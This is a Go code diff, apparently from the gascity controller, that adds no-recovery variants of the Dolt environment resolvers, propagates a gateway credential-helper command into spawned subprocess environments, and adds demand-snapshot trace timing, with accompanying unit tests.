@@ -1333,7 +1344,7 @@ func bdRuntimeEnvForRigWithError(cityPath string, cfg *config.City, rigPath stri
 		mirrorBeadsDoltEnv(env)
 		return env, nil
 	}
-	if err := applyResolvedRigDoltEnv(env, cityPath, rigPath, explicitRig, true); err != nil {
+	if err := applyResolvedRigDoltEnv(env, cityPath, rigPath, explicitRig, allowRecovery); err != nil {
 		clearProjectedDoltEnv(env)
 		clearProjectedPostgresEnv(env)
 		mirrorBeadsDoltEnv(env)
@@ -1418,6 +1429,23 @@ func nativeStoreCanaryScopeName(cityPath string, cfg *config.City, scopeRoot str
 }
 
 func bdRuntimeEnvWithError(cityPath string) (map[string]string, error) {
+	return bdRuntimeEnvWithErrorRecovery(cityPath, true)
+}
+
+// bdRuntimeEnvWithErrorNoRecovery is bdRuntimeEnvWithError without the
+// managed-dolt recovery/health-check/autostart side effects: it reads
+// existing published or configured connection state only, and fails fast
+// (env still gets the non-Dolt opt-out vars set) when no managed server is
+// currently reachable. Recovering a managed dolt server is legitimate
+// work, but doing it from every concurrent, short-budget scoped-store
+// construction would multiply exactly the load a read-storm mitigation
+// exists to bound (gascity ga-cdmx6x) — those callers use this instead of
+// bdRuntimeEnvWithError.
+func bdRuntimeEnvWithErrorNoRecovery(cityPath string) (map[string]string, error) {
+	return bdRuntimeEnvWithErrorRecovery(cityPath, false)
+}
+
+func bdRuntimeEnvWithErrorRecovery(cityPath string, allowRecovery bool) (map[string]string, error) {
 	env := cityRuntimeEnvMapForCity(cityPath)
 	env["BEADS_DIR"] = filepath.Join(cityPath, ".beads")
 	env["GC_RIG"] = ""
@@ -1470,7 +1498,7 @@ func bdRuntimeEnvWithError(cityPath string) (map[string]string, error) {
 	} else if usedPostgres {
 		return env, nil
 	}
-	if err := applyResolvedCityDoltEnv(env, cityPath, true); err != nil {
+	if err := applyResolvedCityDoltEnv(env, cityPath, allowRecovery); err != nil {
 		clearProjectedDoltEnv(env)
 		mirrorBeadsDoltEnv(env)
 		if isRecoverableManagedDoltEnvError(err) {
@@ -1520,7 +1548,7 @@ func cityRuntimeProcessEnvWithError(cityPath string) ([]string, error) {
 				clearProjectedDoltEnv(source)
 			}
 		}
-		keys := execProjectedBackendEnvKeys()
+		keys := execProjectedBackendCopyKeys()
 		keys = append(keys, "BEADS_DOLT_AUTO_START")
 		for _, key := range keys {
 			if value, ok := source[key]; ok {
@@ -1596,6 +1624,42 @@ func mirrorBeadsDoltEnv(env map[string]string) {
 	} else {
 		delete(env, "BEADS_DOLT_PASSWORD")
 	}
+	// Carry the hosted beads-gateway credential command into the projected env.
+	// bd authenticates to the gateway by running the helper named in
+	// BEADS_DOLT_CREDENTIAL_COMMAND; without it bd falls back to the static/root
+	// user and the gateway rejects the connection (MySQL Error 1045). That key
+	// contains "CREDENTIAL", so execenv.FilterInherited strips it from every
+	// gc-spawned bd subprocess and agent session. preserveHostedBeadsCredentialEnv
+	// re-adds it on the slice-merge paths (overlayEnvEntries / mergeRuntimeEnv),
+	// but only when it is already present in the pre-filter environ and only on
+	// those paths — the agent session env is built from this projected map, which
+	// does not carry the ambient value, and a controller that exports the helper
+	// under only the non-sensitive GC_DOLT_CRED_CMD (which survives filtering) has
+	// nothing for that pass to preserve. Mirror GC_DOLT_CRED_CMD into
+	// BEADS_DOLT_CREDENTIAL_COMMAND here (map value wins, else the ambient value
+	// of either key) so bd authenticates the same way the in-process native store
+	// does.
+	//
+	// Two intentional asymmetries with the sibling BEADS_DOLT_* branches above,
+	// kept deliberately (do not "normalize" them into the map->map convention):
+	//  1. Ambient fallback: this is the only branch that reads process env
+	//     (os.Getenv), because a controller commonly exports only the helper and
+	//     never seeds it into the projected map.
+	//  2. Preserve-not-clear: when no source exists this branch leaves any
+	//     existing target value untouched instead of deleting/emptying it. The
+	//     siblings clear their target to defeat stale tmux inheritance; the
+	//     credential key is instead preserved from ambient by
+	//     preserveHostedBeadsCredentialEnv on the slice-merge paths, so clearing
+	//     it here would fight that pass.
+	if cred := strings.TrimSpace(env["GC_DOLT_CRED_CMD"]); cred != "" {
+		env["BEADS_DOLT_CREDENTIAL_COMMAND"] = cred
+	} else if cred := strings.TrimSpace(env["BEADS_DOLT_CREDENTIAL_COMMAND"]); cred != "" {
+		env["BEADS_DOLT_CREDENTIAL_COMMAND"] = cred
+	} else if ambient := strings.TrimSpace(os.Getenv("GC_DOLT_CRED_CMD")); ambient != "" {
+		env["BEADS_DOLT_CREDENTIAL_COMMAND"] = ambient
+	} else if ambient := strings.TrimSpace(os.Getenv("BEADS_DOLT_CREDENTIAL_COMMAND")); ambient != "" {
+		env["BEADS_DOLT_CREDENTIAL_COMMAND"] = ambient
+	}
 }
 
 // cityForStoreDir resolves ambient store contexts. GC_CITY intentionally wins
diff --git a/cmd/gc/bd_env_test.go b/cmd/gc/bd_env_test.go
index 8d11c57784..eec9f83d5f 100644
--- a/cmd/gc/bd_env_test.go
+++ b/cmd/gc/bd_env_test.go
@@ -318,6 +318,67 @@ func TestBdRuntimeEnvIncludesDoltHost(t *testing.T) {
 	}
 }
 
+// TestBdRuntimeEnvNoRecoveryMatchesRecoveryForExternalTarget proves the
+// NoRecovery variant (used by ga-cdmx6x's scoped throwaway stores) still
+// resolves an explicitly configured external Dolt target identically to
+// the recovery-allowing default — only the managed-dolt
+// recovery/health-check/autostart side effect is skipped, not the
+// ordinary external-config path.
+func TestBdRuntimeEnvNoRecoveryMatchesRecoveryForExternalTarget(t *testing.T) {
+	t.Setenv("GC_BEADS", "bd")
+	t.Setenv("GC_DOLT_HOST", "mini2.hippo-tilapia.ts.net")
+	t.Setenv("GC_DOLT_PORT", "3307")
+	t.Setenv("GC_DOLT_USER", "agent")
+	t.Setenv("GC_DOLT_PASSWORD", "s3cret")
+	t.Setenv("GC_DOLT", "skip")
+
+	cityPath := t.TempDir()
+	env, err := bdRuntimeEnvWithErrorNoRecovery(cityPath)
+	if err != nil {
+		t.Fatalf("bdRuntimeEnvWithErrorNoRecovery() error = %v", err)
+	}
+
+	if got := env["GC_DOLT_HOST"]; got != "mini2.hippo-tilapia.ts.net" {
+		t.Errorf("GC_DOLT_HOST = %q, want %q", got, "mini2.hippo-tilapia.ts.net")
+	}
+	if got := env["GC_DOLT_PORT"]; got != "3307" {
+		t.Errorf("GC_DOLT_PORT = %q, want %q", got, "3307")
+	}
+	if got := env["BEADS_DOLT_AUTO_START"]; got != "0" {
+		t.Errorf("BEADS_DOLT_AUTO_START = %q, want %q", got, "0")
+	}
+}
+
+// TestBdRuntimeEnvForRigNoRecoveryMatchesRecoveryForExternalTarget is
+// TestBdRuntimeEnvNoRecoveryMatchesRecoveryForExternalTarget for the
+// rig-scoped resolver.
+func TestBdRuntimeEnvForRigNoRecoveryMatchesRecoveryForExternalTarget(t *testing.T) {
+	t.Setenv("GC_BEADS", "bd")
+	t.Setenv("GC_DOLT_HOST", "mini2.hippo-tilapia.ts.net")
+	t.Setenv("GC_DOLT_PORT", "3307")
+	t.Setenv("GC_DOLT_USER", "agent")
+	t.Setenv("GC_DOLT_PASSWORD", "s3cret")
+	t.Setenv("GC_DOLT", "skip")
+
+	cityPath := t.TempDir()
+	rigPath := filepath.Join(cityPath, "rigs", "repo")
+	if err := os.MkdirAll(rigPath, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	cfg := &config.City{Rigs: []config.Rig{{Name: "repo", Path: "rigs/repo"}}}
+
+	env, err := bdRuntimeEnvForRigWithErrorNoRecovery(cityPath, cfg, rigPath)
+	if err != nil {
+		t.Fatalf("bdRuntimeEnvForRigWithErrorNoRecovery() error = %v", err)
+	}
+	if got := env["GC_DOLT_HOST"]; got != "mini2.hippo-tilapia.ts.net" {
+		t.Errorf("GC_DOLT_HOST = %q, want %q", got, "mini2.hippo-tilapia.ts.net")
+	}
+	if got := env["GC_RIG"]; got != "repo" {
+		t.Errorf("GC_RIG = %q, want repo", got)
+	}
+}
+
 func TestBdRuntimeEnvDisablesCLIRemoteSync(t *testing.T) {
 	t.Setenv("GC_BEADS", "bd")
 	t.Setenv("BD_DOLT_SYNC_CLI_REMOTES", "true")
@@ -5442,3 +5503,72 @@ func TestReapStaleBdExportJSONLLeavesFileOnUnmanagedScope(t *testing.T) {
 		t.Fatalf("jsonl removed on unmanaged scope; stat err = %v, want nil", err)
 	}
 }
+
+// TestMirrorBeadsDoltEnvPropagatesCredentialCommand covers the hosted
+// beads-gateway credential helper. bd authenticates by running the command in
+// BEADS_DOLT_CREDENTIAL_COMMAND; that key contains "CREDENTIAL" so
+// execenv.FilterInherited strips it from every gc-spawned bd subprocess and
+// agent session, and the gateway then rejects the root fallback with Error
+// 1045. The controller entrypoint also exports the same helper under the
+// non-sensitive GC_DOLT_CRED_CMD (which survives filtering), so
+// mirrorBeadsDoltEnv must re-derive BEADS_DOLT_CREDENTIAL_COMMAND from it.
+func TestMirrorBeadsDoltEnvPropagatesCredentialCommand(t *testing.T) {
+	t.Run("from GC_DOLT_CRED_CMD in the map", func(t *testing.T) {
+		t.Setenv("GC_DOLT_CRED_CMD", "")
+		t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", "")
+		env := map[string]string{"GC_DOLT_HOST": "gw.beads.example", "GC_DOLT_CRED_CMD": "/usr/local/bin/eia-helper"}
+		mirrorBeadsDoltEnv(env)
+		if got := env["BEADS_DOLT_CREDENTIAL_COMMAND"]; got != "/usr/local/bin/eia-helper" {
+			t.Fatalf("BEADS_DOLT_CREDENTIAL_COMMAND = %q, want %q (from GC_DOLT_CRED_CMD)", got, "/usr/local/bin/eia-helper")
+		}
+	})
+	t.Run("from ambient GC_DOLT_CRED_CMD when map is unset", func(t *testing.T) {
+		t.Setenv("GC_DOLT_CRED_CMD", "/usr/local/bin/eia-helper")
+		t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", "")
+		env := map[string]string{"GC_DOLT_HOST": "gw.beads.example"}
+		mirrorBeadsDoltEnv(env)
+		if got := env["BEADS_DOLT_CREDENTIAL_COMMAND"]; got != "/usr/local/bin/eia-helper" {
+			t.Fatalf("BEADS_DOLT_CREDENTIAL_COMMAND = %q, want %q (from ambient GC_DOLT_CRED_CMD)", got, "/usr/local/bin/eia-helper")
+		}
+	})
+	t.Run("from ambient BEADS_DOLT_CREDENTIAL_COMMAND fallback", func(t *testing.T) {
+		t.Setenv("GC_DOLT_CRED_CMD", "")
+		t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", "/usr/local/bin/eia-helper")
+		env := map[string]string{"GC_DOLT_HOST": "gw.beads.example"}
+		mirrorBeadsDoltEnv(env)
+		if got := env["BEADS_DOLT_CREDENTIAL_COMMAND"]; got != "/usr/local/bin/eia-helper" {
+			t.Fatalf("BEADS_DOLT_CREDENTIAL_COMMAND = %q, want %q (from ambient fallback)", got, "/usr/local/bin/eia-helper")
+		}
+	})
+	t.Run("GC_DOLT_CRED_CMD in map wins over ambient BEADS_DOLT_CREDENTIAL_COMMAND", func(t *testing.T) {
+		t.Setenv("GC_DOLT_CRED_CMD", "")
+		t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", "/ambient/helper")
+		env := map[string]string{"GC_DOLT_HOST": "gw.beads.example", "GC_DOLT_CRED_CMD": "/map/helper"}
+		mirrorBeadsDoltEnv(env)
+		if got := env["BEADS_DOLT_CREDENTIAL_COMMAND"]; got != "/map/helper" {
+			t.Fatalf("BEADS_DOLT_CREDENTIAL_COMMAND = %q, want %q (map GC_DOLT_CRED_CMD wins)", got, "/map/helper")
+		}
+	})
+	t.Run("map BEADS_DOLT_CREDENTIAL_COMMAND wins over ambient GC_DOLT_CRED_CMD", func(t *testing.T) {
+		// Locks the branch-2-over-branch-3 precedence: an explicit map
+		// BEADS_DOLT_CREDENTIAL_COMMAND must beat an ambient GC_DOLT_CRED_CMD.
+		// Without this a branches-2/3 reorder would silently flip precedence and
+		// still pass every other subtest.
+		t.Setenv("GC_DOLT_CRED_CMD", "/ambient/helper")
+		t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", "")
+		env := map[string]string{"GC_DOLT_HOST": "gw.beads.example", "BEADS_DOLT_CREDENTIAL_COMMAND": "/map/helper"}
+		mirrorBeadsDoltEnv(env)
+		if got := env["BEADS_DOLT_CREDENTIAL_COMMAND"]; got != "/map/helper" {
+			t.Fatalf("BEADS_DOLT_CREDENTIAL_COMMAND = %q, want %q (explicit map value wins over ambient GC_DOLT_CRED_CMD)", got, "/map/helper")
+		}
+	})
+	t.Run("absent when no credential command anywhere", func(t *testing.T) {
+		t.Setenv("GC_DOLT_CRED_CMD", "")
+		t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", "")
+		env := map[string]string{"GC_DOLT_HOST": "gw.beads.example"}
+		mirrorBeadsDoltEnv(env)
+		if got, ok := env["BEADS_DOLT_CREDENTIAL_COMMAND"]; ok && got != "" {
+			t.Fatalf("BEADS_DOLT_CREDENTIAL_COMMAND = %q, want unset/empty", got)
+		}
+	})
+}
diff --git a/cmd/gc/build_desired_state.go b/cmd/gc/build_desired_state.go
index f39efa0157..1978348f2f 100644
--- a/cmd/gc/build_desired_state.go
+++ b/cmd/gc/build_desired_state.go
@@ -375,7 +375,7 @@ func evaluatePendingPools(
 				if err != nil {
 					outcome = "failed"
 				}
-				trace.recordOperation("trace.scale_check_exec", template, "", "", "scale_check", outcome, traceRecordPayload{
+				trace.RecordOperation(TraceSiteScaleCheckExec, TraceReasonScaleCheck, TraceOutcomeCode(outcome), "", template, "", time.Since(started), traceRecordPayload{
 					"pool_dir":       dir,
 					"command":        sp.Check,
 					"desired":        d,
@@ -383,7 +383,7 @@ func evaluatePendingPools(
 					"duration_ms":    time.Since(started).Milliseconds(),
 					"agent_template": template,
 					"agent_index":    agentIndex,
-				}, "")
+				})
 			}
 		}(j, template, agentName, agentIndex, sp, pw.poolDir, newDemand)
 	}
@@ -468,6 +468,21 @@ func buildDesiredState(
 	return result
 }
 
+// recordDemandSubPhase emits one operation record under the demand-snapshot
+// trace site for a sub-phase of buildDesiredStateWithSessionBeads. The parent
+// `load_demand_snapshot` phase regularly dominates the controller tick
+// (measured avg 6.4s / max 40.8s across 190 storm-window cycles on a small
+// idle city, gastownhall/gascity#2463) but was previously opaque: a single
+// aggregate duration with no split between the cross-store collection reads,
+// the per-demand-group Ready probes, the scale_check subprocess execs, and
+// pure computation. These records make that split first-class trace data so
+// store-contention regressions can be attributed without ad-hoc rebuilds.
+// RecordControllerOperation is nil-receiver-safe, so callers without an
+// active trace (e.g. buildDesiredState outside the tick) cost one branch.
+func recordDemandSubPhase(trace *sessionReconcilerTraceCycle, name string, start time.Time, fields map[string]any) {
+	trace.RecordControllerOperation(TraceSiteDemandSnapshot, TraceReasonRetained, TraceOutcomeComplete, name, time.Since(start), fields)
+}
+
 func buildDesiredStateWithSessionBeads(
 	cityName, cityPath string,
 	beaconTime time.Time,
@@ -494,7 +509,12 @@ func buildDesiredStateWithSessionBeads(
 	// running sessions for each pool. A partial/failed collection is logged,
 	// not swallowed: undercounting running sessions can misclassify a pool as
 	// cold and trigger a spurious scale-from-zero probe.
+	subPhaseStart := time.Now()
 	allOpenSessionBeads, openSessionBeadsErr := collectAllOpenSessionBeads(cfg, store, rigStores, suspendedRigPaths)
+	recordDemandSubPhase(trace, "demand_snapshot.collect_open_session_beads", subPhaseStart, map[string]any{
+		"beads":   len(allOpenSessionBeads),
+		"partial": openSessionBeadsErr != nil,
+	})
 	if openSessionBeadsErr != nil {
 		fmt.Fprintf(stderr, "collectAllOpenSessionBeads: PARTIAL — %v (cold-pool detection may undercount running sessions)\n", openSessionBeadsErr) //nolint:errcheck
 	}
@@ -705,7 +725,12 @@ func buildDesiredStateWithSessionBeads(
 	var scaleCheckPartialTemplates map[string]bool
 	var namedDefaultDemand map[string]bool
 	if store != nil {
+		subPhaseStart = time.Now()
 		assignedWorkBeads, assignedWorkStores, assignedWorkStoreRefs, readyAssigned, storePartial = collectAssignedWorkBeadsWithStores(cfg, store, rigStores, suspendedRigPaths, sessionBeads)
+		recordDemandSubPhase(trace, "demand_snapshot.collect_assigned_work", subPhaseStart, map[string]any{
+			"beads":   len(assignedWorkBeads),
+			"partial": storePartial,
+		})
 		if storePartial {
 			fmt.Fprintf(stderr, "assignedWorkBeads: PARTIAL — store query failed, drain decisions suppressed\n") //nolint:errcheck
 		}
@@ -737,12 +762,24 @@ func buildDesiredStateWithSessionBeads(
 		// the worker work_query/claim path match gc.routed_to canonically by raw
 		// string, so the route must be canonicalized before demand is counted or
 		// the cold pool never wakes for it.
+		subPhaseStart = time.Now()
 		unassignedRoutedBeads, unassignedRoutedStores := collectOpenUnassignedRoutedWork(cfg, store, rigStores, suspendedRigPaths, stderr)
 		canonicalizeLegacyBoundUnassignedRoutedWork(cfg, unassignedRoutedBeads, unassignedRoutedStores, stderr)
 		controlDispatcherOpenDemand := openControlDispatcherDemand(cfg, unassignedRoutedBeads)
+		recordDemandSubPhase(trace, "demand_snapshot.collect_unassigned_routed", subPhaseStart, map[string]any{
+			"beads": len(unassignedRoutedBeads),
+		})
+		subPhaseStart = time.Now()
 		scaleCheckCounts, poolScaleCheckPartialTemplates = evaluatePendingPoolsMap(cfg, pendingPools, stderr, trace)
+		recordDemandSubPhase(trace, "demand_snapshot.evaluate_pending_pools", subPhaseStart, map[string]any{
+			"pools": len(pendingPools),
+		})
 		if len(defaultScaleTargets) > 0 {
+			subPhaseStart = time.Now()
 			defaultCounts, defaultDemand, partialTemplates, errs := defaultScaleCheckCountsAndDemand(defaultScaleTargets)
+			recordDemandSubPhase(trace, "demand_snapshot.default_scale_demand", subPhaseStart, map[string]any{
+				"targets": len(defaultScaleTargets),
+			})
 			for _, err := range errs {
 				// defaultScaleCheckCounts wraps Ready() failures with
 				// enough context to keep this generic outer log honest
@@ -789,7 +826,11 @@ func buildDesiredStateWithSessionBeads(
 		if len(defaultNamedScaleTargets) > 0 {
 			var namedErrs []error
 			var partialTemplates map[string]bool
+			subPhaseStart = time.Now()
 			namedDefaultDemand, partialTemplates, namedErrs = defaultNamedSessionDemand(defaultNamedScaleTargets, cfg, cityName)
+			recordDemandSubPhase(trace, "demand_snapshot.named_session_demand", subPhaseStart, map[string]any{
+				"targets": len(defaultNamedScaleTargets),
+			})
 			for _, err := range namedErrs {
 				fmt.Fprintf(stderr, "buildDesiredState: %v (using named demand=false)\n", err) //nolint:errcheck
 			}
@@ -800,11 +841,11 @@ func buildDesiredStateWithSessionBeads(
 		if len(scaleCheckPartialTemplates) > 0 {
 			fmt.Fprintf(stderr, "scaleCheck: PARTIAL — scale_check failed for %s, retaining affected sessions\n", strings.Join(sortedBoolMapKeys(scaleCheckPartialTemplates), ",")) //nolint:errcheck
 		}
-		poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(cfg, cityPath, sessionBeads.Open(), assignedWorkBeads, assignedWorkStoreRefs)
+		poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(cfg, cityPath, sessionBeads.OpenInfos(), assignedWorkBeads, assignedWorkStoreRefs)
 		bp.assignedWorkBeads = poolWorkBeads
 		bp.poolScaleCheckPartialTemplates = poolScaleCheckPartialTemplates
 		bp.providerHealthSnapshot = loadProviderHealthSnapshot(cityPath)
-		poolDesiredStates := ComputePoolDesiredStatesWithDemandTraced(cfg, poolWorkBeads, sessionBeads.Open(), scaleCheckCounts, scaleCheckDemandByTemplate, trace)
+		poolDesiredStates := ComputePoolDesiredStatesWithDemandTraced(cfg, poolWorkBeads, sessionBeads.OpenInfos(), scaleCheckCounts, scaleCheckDemandByTemplate, trace)
 		bp.configurePoolSessionCreateFairShare(poolDesiredStates)
 		for _, poolState := range poolDesiredStates {
 			cfgAgent := findAgentByTemplate(cfg, poolState.Template)
@@ -892,6 +933,20 @@ func buildDesiredStateWithSessionBeads(
 			if assignee != identity {
 				continue
 			}
+			if spec.Agent.SupportsExpandedSessionIdentities() {
+				// Defense in depth (ga-i1d0tr Candidate B): a bare-template Assignee
+				// is only a legitimate "this IS my identity" match for a template
+				// with exactly one possible live identity. For a template that
+				// supports expanded per-instance identities (a multi-slot pool or
+				// namepool coexisting with this named session), a bare-template
+				// Assignee means some other path wrote the wrong value — a pool
+				// slot's claim, a human running `bd update --assignee=<template>`
+				// directly, or an older client — not a genuine claim by this named
+				// session. Do not treat it as this named session's demand; the
+				// durable fix (claims under the concrete alias, ga-2xqke7) prevents
+				// the pool-claim case from producing this shape going forward.
+				continue
+			}
 			if !assignedWorkIndexReachableFromAgent(cityPath, cfg, spec.Agent, assignedWorkStoreRefs, i) {
 				continue
 			}
@@ -904,9 +959,9 @@ func buildDesiredStateWithSessionBeads(
 		fmt.Fprintf(stderr, "namedWorkReady: %d assigned beads, %d named specs, ready=%v\n", len(assignedWorkBeads), len(namedSpecs), namedWorkReady) //nolint:errcheck
 	}
 	for identity, spec := range namedSpecs {
-		canonicalBead, hasCanonical := findCanonicalNamedSessionBead(bp.sessionBeads, spec)
+		canonicalInfo, hasCanonical := findCanonicalNamedSessionInfo(bp.sessionBeads, spec)
 		if !hasCanonical {
-			if _, conflict := findNamedSessionConflict(bp.sessionBeads, spec); conflict {
+			if _, conflict := findNamedSessionConflictInfo(bp.sessionBeads, spec); conflict {
 				continue
 			}
 		}
@@ -938,7 +993,7 @@ func buildDesiredStateWithSessionBeads(
 		// key, sending the canonical bead through the CREATE path where
 		// the alias check fails against itself.
 		if hasCanonical {
-			if sn := strings.TrimSpace(canonicalBead.Metadata["session_name"]); sn != "" {
+			if sn := strings.TrimSpace(canonicalInfo.SessionNameMetadata); sn != "" {
 				tp.SessionName = sn
 			}
 		}
@@ -1356,8 +1411,8 @@ func expandSkipAssigneesWithSessionIdentities(skip map[string]struct{}, sessionB
 	if len(skip) == 0 || sessionBeads == nil {
 		return
 	}
-	for _, session := range sessionBeads.Open() {
-		ids := sessionBeadAssigneeIdentities(session)
+	for _, info := range sessionBeads.OpenInfos() {
+		ids := sessionBeadAssigneeIdentitiesInfo(info)
 		matched := false
 		for _, id := range ids {
 			if _, ok := skip[id]; ok {
@@ -1392,11 +1447,11 @@ func readyAssignedWorkAssignees(cfg *config.City, sessionBeads *sessionBeadSnaps
 		result = append(result, value)
 	}
 	if sessionBeads != nil {
-		for _, session := range sessionBeads.Open() {
-			if session.Status == "closed" {
+		for _, info := range sessionBeads.OpenInfos() {
+			if info.Closed {
 				continue
 			}
-			for _, id := range sessionBeadAssigneeIdentities(session) {
+			for _, id := range sessionBeadAssigneeIdentitiesInfo(info) {
 				add(id)
 			}
 		}
@@ -1763,13 +1818,13 @@ func retainScaleCheckPartialPoolDesired(cfg *config.City, counts map[string]int,
 		return counts
 	}
 	retained := make(map[string]int)
-	for _, b := range sessionBeads.Open() {
+	for _, info := range sessionBeads.OpenInfos() {
 		// Adopted session beads can persist a legacy bound template identity;
 		// normalize to the current canonical name before the membership check,
 		// because partialTemplates is keyed canonically. Without this a transient
 		// scale_check partial failure would drop legacy-bound pool sessions.
-		template := normalizeAgentTemplateIdentity(cfg, strings.TrimSpace(b.Metadata["template"]))
-		if !partialTemplates[template] || !isPoolManagedSessionBead(b) || !scaleCheckPartialSessionRetainable(b) {
+		template := normalizeAgentTemplateIdentity(cfg, strings.TrimSpace(info.Template))
+		if !partialTemplates[template] || !isPoolManagedSessionInfo(info) || !scaleCheckPartialSessionRetainableInfo(info) {
 			continue
 		}
 		retained[template]++
@@ -1801,6 +1856,19 @@ func scaleCheckPartialSessionPreservable(b beads.Bead) bool {
 	}
 }
 
+// scaleCheckPartialSessionPreservableInfo is the session.Info mirror of
+// scaleCheckPartialSessionPreservable: it reads the raw state metadata
+// (Info.MetadataState) and delegates the in-flight-create default case to
+// isPendingPoolCreateInfo.
+func scaleCheckPartialSessionPreservableInfo(i session.Info) bool {
+	switch strings.TrimSpace(i.MetadataState) {
+	case "", "active", "awake", "start-pending", "creating", "asleep", "stopped", "suspended", "quarantined":
+		return true
+	default:
+		return isPendingPoolCreateInfo(i)
+	}
+}
+
 func scaleCheckPartialSessionRetainable(b beads.Bead) bool {
 	switch strings.TrimSpace(b.Metadata["state"]) {
 	case "active", "awake":
@@ -1813,6 +1881,19 @@ func scaleCheckPartialSessionRetainable(b beads.Bead) bool {
 	}
 }
 
+// scaleCheckPartialSessionRetainableInfo is the session.Info mirror of
+// scaleCheckPartialSessionRetainable: it reads the raw state metadata
+// (Info.MetadataState) and delegates the in-flight-create case to
+// isPendingPoolCreateInfo.
+func scaleCheckPartialSessionRetainableInfo(i session.Info) bool {
+	switch strings.TrimSpace(i.MetadataState) {
+	case "active", "awake":
+		return true
+	default:
+		return isPendingPoolCreateInfo(i)
+	}
+}
+
 func sortedStringSet(values map[string]struct{}) []string {
 	out := make([]string, 0, len(values))
 	for value := range values {
@@ -2138,15 +2219,15 @@ func discoverSessionBeadsWithRoots(
 		return nil
 	}
 	roots := make(map[string]bool)
-	for _, b := range sessionBeads.Open() {
-		if b.Status == "closed" {
+	for _, info := range sessionBeads.OpenInfos() {
+		if info.Closed {
 			continue
 		}
-		sn := b.Metadata["session_name"]
+		sn := info.SessionNameMetadata
 		if sn == "" {
 			continue
 		}
-		if isFailedCreateSessionBead(b) {
+		if isFailedCreateSessionInfo(info) {
 			continue
 		}
 		// Remember whether the main config/pool pass already selected this
@@ -2157,13 +2238,13 @@ func discoverSessionBeadsWithRoots(
 		// but we still need the bead in desired state so the reconciler
 		// doesn't classify it as orphaned. Only skip if we can't resolve
 		// the template.
-		template := resolvedSessionTemplate(b, cfg)
+		template := resolvedSessionTemplateInfo(info, cfg)
 		if template == "" {
 			continue
 		}
 		poolScaleCheckPartial := poolScaleCheckPartialTemplates[template]
-		namedScaleCheckPartial := namedScaleCheckPartialTemplates[template] && isNamedSessionBead(b)
-		scaleCheckPartial := scaleCheckPartialSessionPreservable(b) && (poolScaleCheckPartial || namedScaleCheckPartial)
+		namedScaleCheckPartial := namedScaleCheckPartialTemplates[template] && isNamedSessionInfo(info)
+		scaleCheckPartial := scaleCheckPartialSessionPreservableInfo(info) && (poolScaleCheckPartial || namedScaleCheckPartial)
 		// Find the config agent for this template.
 		cfgAgent := findAgentByTemplate(cfg, template)
 		if cfgAgent == nil {
@@ -2173,11 +2254,11 @@ func discoverSessionBeadsWithRoots(
 			continue
 		}
 		roots[template] = true
-		if !sessionAlreadyDesired && !isManualSessionBeadForAgent(b, cfgAgent) && !isNamedSessionBead(b) &&
-			desiredHasCanonicalNonExpandingPoolSession(desired, template, cfgAgent) && staleNonExpandingPoolSessionBead(cfgAgent, b) {
+		if !sessionAlreadyDesired && !isManualSessionInfoForAgent(info, cfgAgent) && !isNamedSessionInfo(info) &&
+			desiredHasCanonicalNonExpandingPoolSession(desired, template, cfgAgent) && staleNonExpandingPoolSessionBeadInfo(cfgAgent, info) {
 			continue
 		}
-		if !isManualSessionBead(b) && !isNamedSessionBead(b) && !isPoolManagedSessionBead(b) && desiredHasConfiguredNamedTemplate(desired, template) {
+		if !isManualSessionInfo(info) && !isNamedSessionInfo(info) && !isPoolManagedSessionInfo(info) && desiredHasConfiguredNamedTemplate(desired, template) {
 			// A configured named session already owns this backing template in
 			// desired state. Treat any extra plain open bead as leaked state so
 			// the reconciler can close it as orphaned instead of reviving it.
@@ -2189,20 +2270,20 @@ func discoverSessionBeadsWithRoots(
 		// instances. Don't re-add stale session beads — that bypasses
 		// scaling and causes infinite wake→drain→stop loops when there's
 		// no work.
-		if isEphemeralSessionBeadForAgent(b, cfgAgent) {
-			manualSession := isManualSessionBeadForAgent(b, cfgAgent)
-			creating := b.Metadata["state"] == "creating" || b.Metadata["state"] == string(session.StateStartPending)
-			pendingCreate := isPendingPoolCreate(b)
+		if isEphemeralSessionInfoForAgent(info, cfgAgent) {
+			manualSession := isManualSessionInfoForAgent(info, cfgAgent)
+			creating := info.MetadataState == "creating" || info.MetadataState == string(session.StateStartPending)
+			pendingCreate := isPendingPoolCreateInfo(info)
 			templateDesired := desiredHasTemplate(desired, template)
 			// Pool-managed beads are controller-created capacity. A pending
 			// or creating bead that the pool pass did not select is stale
 			// capacity, not a reason to spawn a worker with an empty hook.
-			controllerManagedPool := strings.TrimSpace(b.Metadata[poolManagedMetadataKey]) == boolMetadata(true) ||
-				strings.TrimSpace(b.Metadata["pool_slot"]) != "" || pendingCreate
-			if controllerManagedPool && isDrainedSessionBead(b) {
+			controllerManagedPool := info.PoolManaged ||
+				strings.TrimSpace(info.PoolSlot) != "" || pendingCreate
+			if controllerManagedPool && isDrainedSessionInfo(info) {
 				continue
 			}
-			if controllerManagedPool && !manualSession && !isNamedSessionBead(b) &&
+			if controllerManagedPool && !manualSession && !isNamedSessionInfo(info) &&
 				!sessionAlreadyDesired && cfgAgent.UsesCanonicalSingletonPoolIdentity() &&
 				desiredHasCanonicalNonExpandingPoolSession(desired, template, cfgAgent) {
 				continue
@@ -2213,12 +2294,12 @@ func discoverSessionBeadsWithRoots(
 			// roll back even during a partial tick. For all other states (active, awake,
 			// asleep, stopped, …) the broad preservable rule applies unchanged.
 			poolPartialAlive := (poolScaleCheckPartial || namedScaleCheckPartial) &&
-				(isPendingPoolCreate(b) || (!creating && scaleCheckPartialSessionPreservable(b)))
-			if controllerManagedPool && !manualSession && !isNamedSessionBead(b) &&
+				(isPendingPoolCreateInfo(info) || (!creating && scaleCheckPartialSessionPreservableInfo(info)))
+			if controllerManagedPool && !manualSession && !isNamedSessionInfo(info) &&
 				!sessionAlreadyDesired && !templateDesired && !poolPartialAlive {
 				continue
 			}
-			if !manualSession && (!creating || isStaleCreating(b)) && !templateDesired && !pendingCreate && !scaleCheckPartial {
+			if !manualSession && (!creating || isStaleCreatingInfo(info)) && !templateDesired && !pendingCreate && !scaleCheckPartial {
 				continue
 			}
 		}
